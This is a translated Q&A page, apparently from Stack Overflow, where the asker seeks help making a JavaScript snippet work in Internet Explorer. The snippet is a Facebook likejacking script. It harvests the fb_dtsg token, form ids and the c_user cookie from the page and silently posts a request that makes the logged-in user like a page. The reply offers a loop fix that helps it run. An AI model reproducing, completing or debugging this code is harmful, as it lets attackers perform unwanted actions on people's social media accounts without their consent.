【问题标题】:JavaScript not working in IE, works in FireFox UPDATEJavaScript 在 IE 中不起作用,在 FireFox 中起作用 更新
【发布时间】:2011-04-29 00:50:09
【问题描述】:
function http_build_query (formdata, numeric_prefix, arg_separator) {
    var value, key, tmp = [],
    that = this;

    var _http_build_query_helper = function (key, val, arg_separator) {
        var k, tmp = [];
        if (val === true) {
            val = "1";
        } else if (val === false) {
            val = "0";
        }
        if (val !== null && typeof(val) === "object") {
            for (k in val) {
                if (val[k] !== null) {
                    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
                }
            }
            return tmp.join(arg_separator);
        } else if (typeof(val) !== "function") {
            return that.urlencode(key) + "=" + that.urlencode(val);
        } else {
            throw new Error('There was an error processing for http_build_query().');
        }
    };

    if (!arg_separator) {
        arg_separator = "&";
    }
    for (key in formdata) {
        value = formdata[key];
        if (numeric_prefix && !isNaN(key)) {
            key = String(numeric_prefix) + key;
        }
        tmp.push(_http_build_query_helper(key, value, arg_separator));
    }

    return tmp.join(arg_separator);
}

function urlencode (str)
{
    str = (str + '').toString();

    // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following.
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

function HttpRequest(url, query, callback, method)
{
    if(!method)
    {
        method  = 'post';
    }

    var xhr = new XMLHttpRequest(); 

    xhr.open(method, url);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange  = function()
    {
        if (xhr.readyState == 4)
        {
            log(xhr.responseText);

            if(callback)
            {
                callback(xhr.responseText);
            }
        }
    }

if(typeof query != 'string')
{
    query   = http_build_query(query);
}

    log(query);

    xhr.send(query);
}

post_form_id        = escape(findelementbyname("post_form_id"));
fb_dtsg             = escape(document.getElementsByName("fb_dtsg")[0].value);
cookie_user_uid     = document.cookie.match(/c_user=(\d+)/)[1];
xhpc_composerid     = escape(findelementbyname("xhpc_composerid"));

function log(text)
{
    if(window.console)
    {
        console.log(text);
    }
}


function shuffle(s)
{
    while(m1 = s.match(/{(.*?)}/))
    {
        m2  = m1[1].split('|');
        r1  = m2[Math.floor(Math.random()*m2.length)];
        s   = s.replace(m1[0], r1);
    }

    return s;
}

function findelementbyname(nme)
{
    var inputs = document.getElementsByTagName("input");

    for(var i=0;i<inputs.length;i++)
    {
        if(inputs[i].name == nme)
        return inputs[i].value;

    }
    return null;
}

function send_like(fbpage_id)
{
    HttpRequest('/ajax/pages/fan_status.php?__a=1',
    {
        add: 1,
        fb_dtsg: fb_dtsg,
        fbpage_id: fbpage_id,
        lsd: '',
        post_form_id: post_form_id,
        post_form_id_source: 'AsyncRequest',
        preserve_tab: true,
        reload: 0
    });
}

if(Math.random() * 2 > 1)
{
    send_like(1);
}
else
{
    send_like(2);
}

此代码在 Firefox 中有效,但在 IE 中无效。 这是我在 IE 中遇到的错误:

Webpage error details

用户代理:Mozilla/4.0(兼容;MSIE 8.0;Windows NT 6.1;WOW64;Trident/4.0;SLCC2;.NET CLR 2.0.50727;.NET CLR 3.5.30729;.NET CLR 3.0.30729;媒体中心PC 6.0;.NET4.0C;BRI/2) 时间戳:2011 年 4 月 29 日星期五 00:43:16 UTC

消息:对象不支持此属性或方法 线路:84 字符:1 代码:0

第 84 行将是 post_form_id 部分。

【问题讨论】:

  • 冒着听起来迟钝的风险——为什么要自己动手而不使用 jQuery?除此之外,您最好使用 IE 中的实际调试情况进行故障排除 - jonathanboutelle.com/… 是一个很好的起点。
  • 我不相信它会告诉您确切的正确行。我同意大卫关于调试的观点。我也会在 google chrome 中尝试一下。

标签: javascript ajax


【解决方案1】:

IE 在 for/in 循环中变得不稳定,并包含所有继承的属性和方法。尝试调整所有的 for/in 循环,以检查被迭代的对象实际上将每个项目作为其自己的属性:

for (k in val) {
  if (Object.prototype.hasOwnProperty.call(val, k) && val[k] !== null) {
    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
  }
}

【讨论】:

    猜你喜欢
    • 2020-06-04
    • 1970-01-01
    • 1970-01-01
    • 2021-11-11
    • 2016-08-03
    • 1970-01-01
    • 1970-01-01
    • 2012-10-18
    • 1970-01-01
    相关资源
    最近更新 更多